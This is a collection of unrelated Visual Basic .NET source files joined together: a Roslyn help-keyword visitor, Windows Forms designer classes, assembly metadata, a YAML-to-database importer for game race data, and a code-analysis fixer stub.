VisitGetXmlNamespaceExpression(node As GetXmlNamespaceExpressionSyntax) result = Keyword(node.GetXmlNamespaceKeyword.Text) End Sub Public Overrides Sub VisitGlobalName(node As GlobalNameSyntax) result = Keyword("Global") End Sub Public Overrides Sub VisitGoToStatement(node As GoToStatementSyntax) result = Keyword("GoTo") End Sub Public Overrides Sub VisitGroupByClause(node As GroupByClauseSyntax) If node.IntoKeyword.Span.IntersectsWith(span) Then result = HelpKeywords.QueryGroupByInto Else result = HelpKeywords.QueryGroupBy End If End Sub Public Overrides Sub VisitGroupJoinClause(node As GroupJoinClauseSyntax) If node.OnKeyword.Span.IntersectsWith(span) Then result = HelpKeywords.QueryGroupJoinOn ElseIf node.IntoKeyword.Span.IntersectsWith(span) Then result = HelpKeywords.QueryGroupJoinInto Else result = HelpKeywords.QueryGroupJoin End If End Sub Public Overrides Sub VisitGroupAggregation(node As GroupAggregationSyntax) result = HelpKeywords.QueryGroupRef End Sub Public Overrides Sub VisitBinaryConditionalExpression(node As BinaryConditionalExpressionSyntax) result = HelpKeywords.IfOperator End Sub Public Overrides Sub VisitTernaryConditionalExpression(node As TernaryConditionalExpressionSyntax) result = HelpKeywords.IfOperator End Sub Public Overrides Sub VisitImplementsStatement(node As ImplementsStatementSyntax) result = Keyword("Implements") End Sub Public Overrides Sub VisitInheritsStatement(node As InheritsStatementSyntax) result = Keyword("Inherits") End Sub Public Overrides Sub VisitInferredFieldInitializer(node As InferredFieldInitializerSyntax) If node.KeyKeyword <> Nothing Then result = HelpKeywords.AnonymousKey End If End Sub Public Overrides Sub VisitTypeOfExpression(node As TypeOfExpressionSyntax) result = Keyword("TypeOf") End Sub Public Overrides Sub VisitLambdaHeader(node As LambdaHeaderSyntax) If Not SelectModifier(node.Modifiers) Then result = HelpKeywords.LambdaFunction End If End Sub Public Overrides Sub VisitSubNewStatement(node As SubNewStatementSyntax) If Not TryGetDeclaredSymbol(node.NewKeyword) Then result = HelpKeywords.Constructor End If End Sub Public Overrides Sub VisitConstructorBlock(node As ConstructorBlockSyntax) result = HelpKeywords.Constructor End Sub Public Overrides Sub VisitLetClause(node As LetClauseSyntax) result = HelpKeywords.QueryLet End Sub Public Overrides Sub VisitMethodStatement(node As MethodStatementSyntax) If SelectModifier(node.Modifiers) Then If result = "vb.Partial" Then result = HelpKeywords.PartialMethod End If ElseIf node.Identifier.Span.IntersectsWith(span) AndAlso node.Parent.Parent.Kind() = SyntaxKind.ModuleBlock AndAlso node.Identifier.GetIdentifierText().Equals("Main", StringComparison.CurrentCultureIgnoreCase) Then result = HelpKeywords.Main Else Select Case node.DeclarationKeyword.Kind() Case SyntaxKind.AddHandlerKeyword result = HelpKeywords.AddHandlerMethod Case SyntaxKind.RaiseEventKeyword result = HelpKeywords.RaiseEventMethod Case SyntaxKind.RemoveHandlerKeyword result = HelpKeywords.RemoveHandlerMethod Case Else result = Keyword(node.DeclarationKeyword.Text) End Select End If TryGetDeclaredSymbol(node.Identifier) End Sub Public Overrides Sub VisitMeExpression(node As MeExpressionSyntax) result = Keyword("Me") End Sub Public Overrides Sub VisitMidExpression(node As MidExpressionSyntax) result = Keyword("Mid") End Sub Public Overrides Sub VisitMyBaseExpression(node As MyBaseExpressionSyntax) result = Keyword("MyBase") End Sub Public Overrides Sub VisitMyClassExpression(node As MyClassExpressionSyntax) result = Keyword("MyClass") End Sub Public Overrides Sub VisitNamedFieldInitializer(node As NamedFieldInitializerSyntax) If node.KeyKeyword.Span.IntersectsWith(span) Then result = HelpKeywords.AnonymousKey End If End Sub Public Overrides Sub VisitIdentifierName(node As IdentifierNameSyntax) Select Case node.Identifier.Kind() Case SyntaxKind.MyBaseKeyword Case SyntaxKind.MyClassKeyword Case SyntaxKind.MeKeyword result = Keyword(node.Identifier.Kind()) Return End Select If isNotMetadata Then If Not TypeOf node.Parent Is InheritsOrImplementsStatementSyntax Then If TypeOf node.Parent Is DeclarationStatementSyntax OrElse TypeOf node.Parent Is FieldDeclarationSyntax Then Return End If End If End If Dim symbol = semanticModel.GetSymbolInfo(node).Symbol If symbol Is Nothing Then symbol = semanticModel.GetMemberGroup(node).FirstOrDefault() End If If symbol Is Nothing Then symbol = semanticModel.GetTypeInfo(node).Type End If If symbol IsNot Nothing Then If symbol.Name.Equals("My", StringComparison.CurrentCultureIgnoreCase) Then result = HelpKeywords.MyNamespaceKeyword ElseIf TypeOf symbol Is ITypeSymbol AndAlso DirectCast(symbol, ITypeSymbol).SpecialType <> SpecialType.None Then result = "vb." + symbol.Name Else result = Format(symbol) End If End If End Sub Public Overrides Sub VisitNamespaceBlock(node As NamespaceBlockSyntax) result = Keyword("Namespace") End Sub Public Overrides Sub VisitAnonymousObjectCreationExpression(node As AnonymousObjectCreationExpressionSyntax) result = HelpKeywords.AnonymousType End Sub Public Overrides Sub VisitObjectCollectionInitializer(node As ObjectCollectionInitializerSyntax) result = HelpKeywords.CollectionInitializer End Sub Public Overrides Sub VisitNextStatement(node As NextStatementSyntax) result = Keyword("Next") End Sub Public Overrides Sub VisitOnErrorGoToStatement(node As OnErrorGoToStatementSyntax) result = HelpKeywords.OnError End Sub Public Overrides Sub VisitOnErrorResumeNextStatement(node As OnErrorResumeNextStatementSyntax) result = HelpKeywords.OnError End Sub Public Overrides Sub VisitOptionStatement(node As OptionStatementSyntax) If Not node.NameKeyword.IsMissing Then Select Case node.NameKeyword.Kind() Case SyntaxKind.ExplicitKeyword result = HelpKeywords.OptionExplicit Case SyntaxKind.InferKeyword result = HelpKeywords.OptionInfer Case SyntaxKind.StrictKeyword result = HelpKeywords.OptionStrict Case SyntaxKind.CompareKeyword result = HelpKeywords.OptionCompare End Select Else result = Keyword(SyntaxKind.OptionKeyword) End If End Sub Public Overrides Sub VisitOrdering(node As OrderingSyntax) If node.AscendingOrDescendingKeyword.IsKind(SyntaxKind.AscendingKeyword) Then result = HelpKeywords.QueryAscending Else result = HelpKeywords.QueryDescending End If End Sub Public Overrides Sub VisitOrderByClause(node As OrderByClauseSyntax) result = HelpKeywords.QueryOrderBy End Sub Public Overrides Sub VisitIfDirectiveTrivia(node As IfDirectiveTriviaSyntax) result = HelpKeywords.PreprocessorIf End Sub Public Overrides Sub VisitRegionDirectiveTrivia(node As RegionDirectiveTriviaSyntax) If node.Name.Span.IntersectsWith(span) Then result = Keyword(SyntaxKind.StringKeyword) Else result = HelpKeywords.Region End If End Sub Public Overrides Sub VisitConstDirectiveTrivia(node As ConstDirectiveTriviaSyntax) result = HelpKeywords.PreprocessorConst End Sub Public Overrides Sub VisitStopOrEndStatement(node As StopOrEndStatementSyntax) If node.StopOrEndKeyword.Kind() = SyntaxKind.EndKeyword Then result = Keyword(SyntaxKind.EndKeyword) Else result = Keyword(SyntaxKind.StopKeyword) End If End Sub Public Overrides Sub VisitStructureStatement(node As StructureStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.Identifier) Then result = Keyword(SyntaxKind.StructureKeyword) End If End Sub Public Overrides Sub VisitModuleStatement(node As ModuleStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.Identifier) Then result = Keyword("Module") End If End Sub Public Overrides Sub VisitPropertyStatement(node As PropertyStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.Identifier) Then If node.Parent.Kind() <> SyntaxKind.PropertyBlock Then result = HelpKeywords.AutoProperty Else result = Keyword("Property") End If End If End Sub Public Overrides Sub VisitClassStatement(node As ClassStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.Identifier) Then result = Keyword("Class") End If End Sub Public Overrides Sub VisitAccessorStatement(node As AccessorStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.DeclarationKeyword) Then result = Keyword(node.DeclarationKeyword.Kind()) End If End Sub Public Overrides Sub VisitImportsStatement(node As ImportsStatementSyntax) result = Keyword(SyntaxKind.ImportsKeyword) End Sub Public Overrides Sub VisitInterfaceStatement(node As InterfaceStatementSyntax) If Not SelectModifier(node.Modifiers) AndAlso Not TryGetDeclaredSymbol(node.Identifier) Then result = Keyword(SyntaxKind.InterfaceKeyword) End If End Sub Public Overrides Sub VisitNamespaceStatement(node As NamespaceStatementSyntax) If Not TryGetDeclaredSymbol(node.GetNameTokenOrNothing()) Then result = Keyword(SyntaxKind.NamespaceKeyword) End If End Sub Public Overrides Sub VisitLabelStatement(node As LabelStatementSyntax) result = HelpKeywords.Colon End Sub Public Overrides Sub VisitModifiedIdentifier(node As ModifiedIdentifierSyntax) If node.Nullable.Kind() = SyntaxKind.QuestionToken Then result = HelpKeywords.Nullable Else Dim symbol = semanticModel.GetDeclaredSymbol(node) If symbol IsNot Nothing Then result = Format(symbol) End If End If End Sub Public Overrides Sub VisitSpecialConstraint(node As SpecialConstraintSyntax) Select Case node.ConstraintKeyword.Kind() Case SyntaxKind.NewKeyword result = HelpKeywords.NewConstraint Case SyntaxKind.ClassKeyword result = HelpKeywords.ClassConstraint Case SyntaxKind.StructureKeyword result = HelpKeywords.StructureConstraint End Select End Sub Public Overrides Sub VisitObjectMemberInitializer(node As ObjectMemberInitializerSyntax) If Not node.Parent.IsKind(SyntaxKind.AnonymousObjectCreationExpression) Then result = HelpKeywords.ObjectInitializer End If End Sub Public Overrides Sub VisitYieldStatement(node As YieldStatementSyntax) result = Keyword(SyntaxKind.YieldKeyword) End Sub Public Overrides Sub VisitElseDirectiveTrivia(node As ElseDirectiveTriviaSyntax) result = HelpKeywords.PreprocessorIf End Sub Public Overrides Sub VisitEndIfDirectiveTrivia(node As EndIfDirectiveTriviaSyntax) result = HelpKeywords.PreprocessorIf End Sub Public Overrides Sub VisitEndRegionDirectiveTrivia(node As EndRegionDirectiveTriviaSyntax) result = HelpKeywords.Region End Sub Public Overrides Sub VisitSyncLockStatement(node As SyncLockStatementSyntax) result = "vb.SyncLock" End Sub Public Overrides Sub VisitUnaryExpression(node As UnaryExpressionSyntax) If node.OperatorToken.IsKind(SyntaxKind.MinusToken) Then result = HelpKeywords.Negate End If If node.OperatorToken.IsKind(SyntaxKind.AddressOfKeyword) Then result = Keyword(SyntaxKind.AddressOfKeyword) End If End Sub Public Overrides Sub VisitUsingStatement(node As UsingStatementSyntax) result = Keyword(SyntaxKind.UsingKeyword) End Sub Public Overrides Sub VisitReDimStatement(node As ReDimStatementSyntax) result = HelpKeywords.Redim End Sub Public Overrides Sub VisitReturnStatement(node As ReturnStatementSyntax) result = Keyword(SyntaxKind.ReturnKeyword) End Sub Public Overrides Sub VisitRaiseEventStatement(node As RaiseEventStatementSyntax) result = Keyword(SyntaxKind.RaiseEventKeyword) End Sub Public Overrides Sub VisitThrowStatement(node As ThrowStatementSyntax) result = Keyword(SyntaxKind.ThrowKeyword) End Sub Public Overrides Sub VisitResumeStatement(node As ResumeStatementSyntax) result = Keyword(SyntaxKind.ResumeKeyword) End Sub Public Overrides Sub VisitPredefinedType(node As PredefinedTypeSyntax) result = Keyword(node.Keyword.ValueText) End Sub Public Overrides Sub VisitDocumentationCommentTrivia(node As DocumentationCommentTriviaSyntax) result = HelpKeywords.XmlDocComment End Sub Public Overrides Sub VisitLiteralExpression(node As LiteralExpressionSyntax) Select Case node.Token.Kind() Case SyntaxKind.IntegerLiteralToken Dim typeInfo = semanticModel.GetTypeInfo(node).Type If typeInfo IsNot Nothing Then result = "vb." + typeInfo.ToDisplayString(TypeFormat.WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.UseSpecialTypes)) End If Case SyntaxKind.DecimalLiteralToken result = Keyword(SyntaxKind.DecimalKeyword) Case SyntaxKind.FloatingLiteralToken result = Keyword(SyntaxKind.DoubleKeyword) End Select If result = Nothing Then Select Case node.Kind() Case SyntaxKind.CharacterLiteralExpression result = Keyword(SyntaxKind.CharKeyword) Case SyntaxKind.TrueLiteralExpression result = Keyword(SyntaxKind.TrueKeyword) Case SyntaxKind.FalseLiteralExpression result = Keyword(SyntaxKind.FalseKeyword) Case SyntaxKind.DateLiteralExpression result = Keyword(SyntaxKind.DateKeyword) Case SyntaxKind.StringLiteralExpression result = Keyword(SyntaxKind.StringKeyword) Case SyntaxKind.NothingLiteralExpression result = Keyword(SyntaxKind.NothingKeyword) End Select End If End Sub Public Overrides Sub VisitPartitionClause(node As PartitionClauseSyntax) If node.IsKind(SyntaxKind.SkipClause) Then result = HelpKeywords.QuerySkip End If If node.IsKind(SyntaxKind.TakeClause) Then result = HelpKeywords.QueryTake End If End Sub Public Overrides Sub VisitPartitionWhileClause(node As PartitionWhileClauseSyntax) If node.IsKind(SyntaxKind.SkipWhileClause) Then result = HelpKeywords.QuerySkipWhile End If If node.IsKind(SyntaxKind.TakeWhileClause) Then result = HelpKeywords.QueryTakeWhile End If End Sub Public Overrides Sub VisitWhereClause(node As WhereClauseSyntax) result = HelpKeywords.QueryWhere End Sub Public Overrides Sub VisitXmlCDataSection(node As XmlCDataSectionSyntax) result = HelpKeywords.XmlLiteralCdata End Sub Public Overrides Sub VisitXmlDocument(node As XmlDocumentSyntax) result = HelpKeywords.XmlLiteralDocument End Sub Public Overrides Sub VisitXmlComment(node As XmlCommentSyntax) result = HelpKeywords.XmlLiteralComment End Sub Public Overrides Sub VisitXmlElement(node As XmlElementSyntax) If node.GetAncestor(Of DocumentationCommentTriviaSyntax)() IsNot Nothing Then result = HelpKeywords.XmlDocComment Else result = HelpKeywords.XmlLiteralElement End If End Sub Public Overrides Sub VisitXmlEmbeddedExpression(node As XmlEmbeddedExpressionSyntax) result = HelpKeywords.XmlEmbeddedExpression End Sub Public Overrides Sub VisitXmlProcessingInstruction(node As XmlProcessingInstructionSyntax) result = HelpKeywords.XmlLiteralProcessingInstruction End Sub Private Function SelectModifier(list As SyntaxTokenList) As Boolean Dim modifier = list.FirstOrDefault(Function(t) t.Span.IntersectsWith(span)) If modifier <> Nothing Then result = Keyword(modifier.Text) Return True End If Return False End Function Public Overrides Sub VisitVariableDeclarator(node As VariableDeclaratorSyntax) Dim bestName = node.Names.FirstOrDefault(Function(n) n.Span.IntersectsWith(span)) If bestName Is Nothing Then bestName = node.Names.FirstOrDefault() End If If bestName IsNot Nothing Then Dim local = TryCast(semanticModel.GetDeclaredSymbol(bestName), ILocalSymbol) If local IsNot Nothing Then If local.Type.IsAnonymousType Then result = HelpKeywords.AnonymousType Else result = Format(local.Type) End If End If End If End Sub Public Overrides Sub VisitTypeParameterList(node As TypeParameterListSyntax) If node.OfKeyword.Span.IntersectsWith(span) Then result = Keyword(SyntaxKind.OfKeyword) End If End Sub Public Overrides Sub VisitGenericName(node As GenericNameSyntax) Dim symbol = semanticModel.GetSymbolInfo(node).Symbol If symbol Is Nothing Then symbol = semanticModel.GetTypeInfo(node).Type End If If symbol IsNot Nothing Then result = Format(symbol) End If End Sub Public Overrides Sub VisitQualifiedName(node As QualifiedNameSyntax) ' Bind the thing on the right Dim symbol = semanticModel.GetSymbolInfo(node.Right).Symbol If symbol Is Nothing Then symbol = semanticModel.GetTypeInfo(node.Right).Type End If If symbol IsNot Nothing Then result = Format(symbol) End If End Sub Public Overrides Sub VisitAsNewClause(node As AsNewClauseSyntax) result = Keyword(SyntaxKind.AsKeyword) End Sub Public Overrides Sub VisitAwaitExpression(node As AwaitExpressionSyntax) result = HelpKeywords.Await End Sub Public Overrides Sub VisitInvocationExpression(node As InvocationExpressionSyntax) Dim info = semanticModel.GetSymbolInfo(node.Expression) ' Array indexing If info.Symbol IsNot Nothing Then Dim symbolType = TryCast(info.Symbol.GetSymbolType(), IArrayTypeSymbol) If symbolType IsNot Nothing Then While symbolType.ElementType IsNot Nothing AndAlso TypeOf symbolType.ElementType Is IArrayTypeSymbol symbolType = DirectCast(symbolType.ElementType, IArrayTypeSymbol) End While result = Format(symbolType.ElementType) Return End If End If result = Keyword(SyntaxKind.CallKeyword) End Sub Public Overrides Sub VisitXmlNamespaceImportsClause(node As XmlNamespaceImportsClauseSyntax) result = HelpKeywords.ImportsXmlns End Sub Public Overrides Sub VisitMemberAccessExpression(node As MemberAccessExpressionSyntax) If span.Start <= node.OperatorToken.Span.Start Then Visit(node.Expression) Else Visit(node.Name) End If End Sub Public Overrides Sub VisitCTypeExpression(node As CTypeExpressionSyntax) result = Keyword(SyntaxKind.CTypeKeyword) End Sub Public Overrides Sub VisitNullableType(node As NullableTypeSyntax) result = HelpKeywords.Nullable End Sub Public Overrides Sub VisitXmlEmptyElement(node As XmlEmptyElementSyntax) result = HelpKeywords.XmlLiteralElement End Sub Public Overrides Sub VisitWhileStatement(node As WhileStatementSyntax) result = Keyword(SyntaxKind.WhileKeyword) End Sub Public Overrides Sub VisitImplementsClause(node As ImplementsClauseSyntax) result = HelpKeywords.ImplementsClause End Sub Public Overrides Sub VisitJoinCondition(node As JoinConditionSyntax) result = "vb.Equals" End Sub Public Overrides Sub VisitSelectClause(node As SelectClauseSyntax) result = HelpKeywords.QuerySelect End Sub Public Overrides Sub VisitCollectionRangeVariable(node As CollectionRangeVariableSyntax) If node.InKeyword.Span.IntersectsWith(span) Then If node.Parent.IsKind(SyntaxKind.GroupJoinClause) Then result = HelpKeywords.QueryGroupJoinIn End If End If End Sub Public Overrides Sub VisitOperatorStatement(node As OperatorStatementSyntax) If Not SelectModifier(node.Modifiers) Then If node.OperatorToken.Span.IntersectsWith(span) Then result = Keyword(node.OperatorToken.ValueText) End If If node.DeclarationKeyword.Span.IntersectsWith(span) Then result = Keyword(SyntaxKind.OperatorKeyword) End If End If End Sub Private Function TryGetDeclaredSymbol(token As SyntaxToken) As Boolean If isNotMetadata Then Return False End If If Not token.Span.IntersectsWith(span) Then Return False End If Dim symbol = semanticModel.GetDeclaredSymbol(token.Parent) If symbol IsNot Nothing Then result = Format(symbol) Return True End If Return False End Function Private Function FormatTypeOrNamespace(symbol As INamespaceOrTypeSymbol) As String If symbol.IsAnonymousType() Then Return HelpKeywords.AnonymousType End If Dim displayString = symbol.ToDisplayString(TypeFormat) If symbol.GetTypeArguments().Any() Then Return String.Format("{0}`{1}", displayString, symbol.GetTypeArguments().Count()) End If Return displayString End Function Private Function Format(symbol As ISymbol) As String Return Format(symbol, isContainingType:=False) End Function Private Function Format(symbol As ISymbol, isContainingType As Boolean) As String Dim symbolType = symbol.GetSymbolType() If TypeOf symbolType Is IArrayTypeSymbol Then symbolType = DirectCast(symbolType, IArrayTypeSymbol).ElementType End If If (symbolType IsNot Nothing AndAlso symbolType.IsAnonymousType) OrElse symbol.IsAnonymousType() OrElse symbol.IsAnonymousTypeProperty() Then Return HelpKeywords.AnonymousType End If If symbol.MatchesKind(SymbolKind.Alias, SymbolKind.Local, SymbolKind.Parameter, SymbolKind.Property) Then Return FormatTypeOrNamespace(symbol.GetSymbolType()) End If If Not isContainingType AndAlso TypeOf symbol Is INamedTypeSymbol Then Dim type = DirectCast(symbol, INamedTypeSymbol) If type.SpecialType <> SpecialType.None Then Return "vb." + type.ToDisplayString(SpecialTypeFormat) End If End If If TypeOf symbol Is ITypeSymbol OrElse TypeOf symbol Is INamespaceSymbol Then Return FormatTypeOrNamespace(DirectCast(symbol, INamespaceOrTypeSymbol)) End If Dim containingType = Format(symbol.ContainingType, isContainingType:=True) Dim name = symbol.ToDisplayString(NameFormat) If (symbol.IsConstructor()) Then Return String.Format("{0}.#ctor", containingType) End If If symbol.GetArity() > 0 Then Return String.Format("{0}.{1}``{2}", containingType, name, symbol.GetArity()) End If Return String.Format("{0}.{1}", containingType, name) End Function End Class End Class End Namespace
Namespace UI Partial Class SPTabControl <System.Diagnostics.DebuggerNonUserCode()> _ Public Sub New(ByVal container As System.ComponentModel.IContainer) MyClass.New() 'Required for Windows.Forms Class Composition Designer support If (container IsNot Nothing) Then container.Add(Me) End If End Sub 'Component overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Component Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Component Designer 'It can be modified using the Component Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() components = New System.ComponentModel.Container() End Sub End Class End Namespace
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("multable")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("Microsoft")> <Assembly: AssemblyProduct("multable")> <Assembly: AssemblyCopyright("Copyright © Microsoft 2018")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("6256e9e2-fca7-4b38-be72-897e47052c3b")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
 Imports YamlDotNet.Serialization Imports System.IO Public Class YAMLraces Inherits YAMLFilesBase Public Const racesFile As String = "races.yaml" Public Sub New(ByVal YAMLFileName As String, ByVal YAMLFilePath As String, ByRef DatabaseRef As Object, ByRef TranslationRef As YAMLTranslations) MyBase.New(YAMLFileName, YAMLFilePath, DatabaseRef, TranslationRef) End Sub ''' <summary> ''' Imports the yaml file into the database set in the constructor ''' </summary> ''' <param name="Params">What the row location is and whether to insert the data or not (for bulk import)</param> Public Sub ImportFile(ByVal Params As ImportParameters) Dim DSB = New DeserializerBuilder() If Not TestForSDEChanges Then DSB.IgnoreUnmatchedProperties() End If DSB = DSB.WithNamingConvention(New NamingConventions.NullNamingConvention) Dim DS As New Deserializer DS = DSB.Build Dim YAMLRecords As New Dictionary(Of Long, race) Dim DataFields As List(Of DBField) Dim TranslatedField As String = "" Dim Count As Long = 0 Dim TotalRecords As Long = 0 Dim NameTranslation As New ImportLanguage(Params.ImportLanguageCode) ' Build table Dim Table As New List(Of DBTableField) Table.Add(New DBTableField("raceID", FieldType.tinyint_type, 0, True)) Table.Add(New DBTableField("raceName", FieldType.varchar_type, 100, True)) Table.Add(New DBTableField("raceDescription", FieldType.varchar_type, 1000, True)) Table.Add(New DBTableField("iconID", FieldType.int_type, 0, True)) Table.Add(New DBTableField("shipTypeID", FieldType.int_type, 0, True)) Call UpdateDB.CreateTable(TableName, Table) Dim RaceSkillsTableName As String = "raceSkills" Table = New List(Of DBTableField) Table.Add(New DBTableField("raceID", FieldType.int_type, 0, False)) Table.Add(New DBTableField("skillTypeID", FieldType.int_type, 0, True)) Table.Add(New DBTableField("level", FieldType.int_type, 0, True)) Call UpdateDB.CreateTable(RaceSkillsTableName, Table) ' See if we only want to build the table and indexes If Not Params.InsertRecords Then Exit Sub End If ' Start processing Call InitGridRow(Params.RowLocation) Try ' Parse the input text YAMLRecords = DS.Deserialize(Of Dictionary(Of Long, race))(New StringReader(File.ReadAllText(YAMLFile))) Catch ex As Exception Call ShowErrorMessage(ex) End Try TotalRecords = YAMLRecords.Count ' Process Data For Each DataField In YAMLRecords DataFields = New List(Of DBField) ' Build the insert list With DataField.Value DataFields.Add(UpdateDB.BuildDatabaseField("raceID", DataField.Key, FieldType.tinyint_type)) DataFields.Add(UpdateDB.BuildDatabaseField("raceName", NameTranslation.GetLanguageTranslationData(.nameID), FieldType.nvarchar_type)) DataFields.Add(UpdateDB.BuildDatabaseField("raceDescription", NameTranslation.GetLanguageTranslationData(.descriptionID), FieldType.nvarchar_type)) DataFields.Add(UpdateDB.BuildDatabaseField("iconID", .iconID, FieldType.int_type)) DataFields.Add(UpdateDB.BuildDatabaseField("shipTypeID", .shipTypeID, FieldType.int_type)) End With Call UpdateDB.InsertRecord(TableName, DataFields) If Not IsNothing(DataField.Value.skills) Then For Each Skill In DataField.Value.skills DataFields = New List(Of DBField) DataFields.Add(UpdateDB.BuildDatabaseField("raceID", DataField.Key, FieldType.int_type)) DataFields.Add(UpdateDB.BuildDatabaseField("skillTypeID", Skill.Key, FieldType.int_type)) DataFields.Add(UpdateDB.BuildDatabaseField("level", Skill.Value, FieldType.int_type)) Call UpdateDB.InsertRecord(RaceSkillsTableName, DataFields) Next End If ' Update grid progress Call UpdateGridRowProgress(Params.RowLocation, Count, TotalRecords) Count += 1 Next Call FinalizeGridRow(Params.RowLocation) End Sub End Class Public Class race Public Property raceID As Object Public Property nameID As Translations Public Property descriptionID As Translations Public Property iconID As Object Public Property shipTypeID As Integer Public Property skills As Dictionary(Of Long, Integer) ' typeID and level End Class
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("JoesAutomotive")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("")> <Assembly: AssemblyProduct("JoesAutomotive")> <Assembly: AssemblyCopyright("Copyright © 2015")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("6e3a0963-ffcd-4aaf-b8d2-7e96491eee85")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
 Imports System.Windows.Forms Public Class ConsoleContainer Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing If terminate = False Then e.Cancel = True ShowWindow(windowhandle, SW_HIDE) End If End Sub Private Sub ConsoleContainer_Load(sender As Object, e As EventArgs) Handles MyBase.Load AlexaPiMod.Main() End Sub End Class
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class BotName Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.OK_Button = New System.Windows.Forms.Button() Me.Cancel_Button = New System.Windows.Forms.Button() Me.Label1 = New System.Windows.Forms.Label() Me.BotName1 = New System.Windows.Forms.TextBox() Me.SuspendLayout() ' 'OK_Button ' Me.OK_Button.Anchor = System.Windows.Forms.AnchorStyles.None Me.OK_Button.Location = New System.Drawing.Point(174, 53) Me.OK_Button.Name = "OK_Button" Me.OK_Button.Size = New System.Drawing.Size(67, 23) Me.OK_Button.TabIndex = 0 Me.OK_Button.Text = "OK" ' 'Cancel_Button ' Me.Cancel_Button.Anchor = System.Windows.Forms.AnchorStyles.None Me.Cancel_Button.DialogResult = System.Windows.Forms.DialogResult.Cancel Me.Cancel_Button.Location = New System.Drawing.Point(101, 53) Me.Cancel_Button.Name = "Cancel_Button" Me.Cancel_Button.Size = New System.Drawing.Size(67, 23) Me.Cancel_Button.TabIndex = 1 Me.Cancel_Button.Text = "Cancel" ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(12, 9) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(121, 13) Me.Label1.TabIndex = 2 Me.Label1.Text = "Set a name for your Bot:" ' 'BotName1 ' Me.BotName1.Location = New System.Drawing.Point(12, 25) Me.BotName1.Name = "BotName1" Me.BotName1.Size = New System.Drawing.Size(229, 20) Me.BotName1.TabIndex = 3 ' 'BotName ' Me.AcceptButton = Me.OK_Button Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.CancelButton = Me.Cancel_Button Me.ClientSize = New System.Drawing.Size(252, 83) Me.Controls.Add(Me.BotName1) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.OK_Button) Me.Controls.Add(Me.Cancel_Button) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Me.MaximizeBox = False Me.MinimizeBox = False Me.Name = "BotName" Me.ShowInTaskbar = False Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent Me.Text = "TwitchBot: Set a Name" Me.ResumeLayout(False) Me.PerformLayout() End Sub Friend WithEvents OK_Button As System.Windows.Forms.Button Friend WithEvents Cancel_Button As System.Windows.Forms.Button Friend WithEvents Label1 As Label Friend WithEvents BotName1 As TextBox End Class
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the MIT license. See License.txt in the project root for license information. Imports System.Composition Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.CodeFixes Imports Microsoft.CodeQuality.Analyzers.QualityGuidelines Namespace Microsoft.CodeQuality.VisualBasic.Analyzers.QualityGuidelines ''' <summary> ''' CA1814: Prefer jagged arrays over multidimensional ''' </summary> <ExportCodeFixProvider(LanguageNames.VisualBasic), [Shared]> Public NotInheritable Class BasicPreferJaggedArraysOverMultidimensionalFixer Inherits PreferJaggedArraysOverMultidimensionalFixer End Class End Namespace
